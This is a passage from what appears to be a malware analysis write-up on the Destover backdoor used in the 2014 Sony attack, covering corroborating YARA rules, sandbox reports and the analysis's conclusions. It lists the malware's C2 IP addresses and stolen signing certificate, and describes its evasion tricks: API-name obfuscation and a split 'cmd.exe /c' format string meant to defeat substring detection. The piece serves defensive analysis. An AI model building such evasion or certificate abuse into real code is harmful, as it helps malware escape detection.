Destover_Nov17_signed_sample,Destover_Malware_APT,APT_MAL_NK_Lazarus_Apr20_1,MAL_Trojan_Destover_Nov22). Each of those rule generations was published years apart by a separate author, on independent string-and-structural sets, and all four match the same hash. - FileScan.IO and Hybrid Analysis sandbox runs from 2017 onwards consistently report the same two C2 endpoints (
203.131.222.102:443,208.105.226.235:443) and the same dot-space-obfuscated import surface that the static walkthrough above documents. - The signing chain
Sony Pictures Entertainment Inc.toDigiCert Assured ID Code Signing CA-1is observable in every published research artifact carrying this hash, and the certificate’s revocation status (revoked December 2014) is publicly verifiable through DigiCert’s CRL.
The external history is not the source of the analysis above; everything in the post was extracted from the binary on the workbench. The corroboration is included so a defender can validate any single claim against multiple independent vantage points before adopting it operationally.
What this analysis adds
Given the weight of prior art, it is worth being explicit about what is incremental here:
- A complete decoded list of all 111 obfuscated API names in this build, including the
RegisterServiceCtrlHandlerW/StartServiceCtrlDispatcherWpair that confirms the binary supports a service-mode entry path beyond the GUI default subsystem. - A clean disassembly walkthrough of the 10-entry C2 server table initialization, including the five operator-tunable knobs (
port,sleep,retry_max,tick_seed,state) at fixed addresses in the .data section. - An annotated breakdown of the date-trigger gate at
fcn.00406917showing how the constants at0x004140xxare the activation deadline, and explaining why this binary is a latent wiper-stager rather than a guaranteed wiper. - A Python static config extractor that pulls IPs, signer, version-info, and decoded API list in a single pass with no detonation.
- Two paired YARA rules – a behavior-fingerprint rule and a stolen-certificate rule – both validated green against the sample.
- An observation about the
cmd.exeshell-exec format string being split with two%splaceholders specifically to defeat substring-based detection oncmd.exe /c, which is a small but real defensive primitive worth noting.
Conclusion
The Destover backdoor is, on a strict technical-novelty axis, not impressive. It uses a hard-coded list of two C2 IPs with no fallback, a uniform sixty-second sleep with no jitter, a dot-space character-substitution obfuscation that falls to a four-character regex, and a hand-rolled service installation that any modern EDR catches on the first call to CreateServiceW. The binary itself is a journeyman’s RAT.
What made it a successful tool of impact in 2014 was the operational context around it: a stolen code-signing certificate from the victim’s own organization, a disciplined attacker who staged the implant for months before activation, a destructive deadline aligned with a public news cycle, and a defensive industry that had not yet adapted to treat stolen-from-victim signatures as a primary indicator-of-compromise rather than a trust signal.
The lesson is not that Destover is hard to detect – it is not, today – but that the technical floor for an actor with operational discipline and a single high-value credential is much lower than the technical floor for an actor without those advantages. The stolen-certificate primitive is the entire reason this binary mattered. Strip the signature, and the result is a 2014-vintage tier-3 RAT that any current-generation static engine flags inside a hundred milliseconds. Add the signature, and the same RAT carried a Fortune 500 victim’s network for weeks before anyone noticed.
The samples that taught the industry to revoke faster, to validate revocation more strictly, and to treat code-signing as a hardened operational asset rather than a developer convenience – those samples started here.



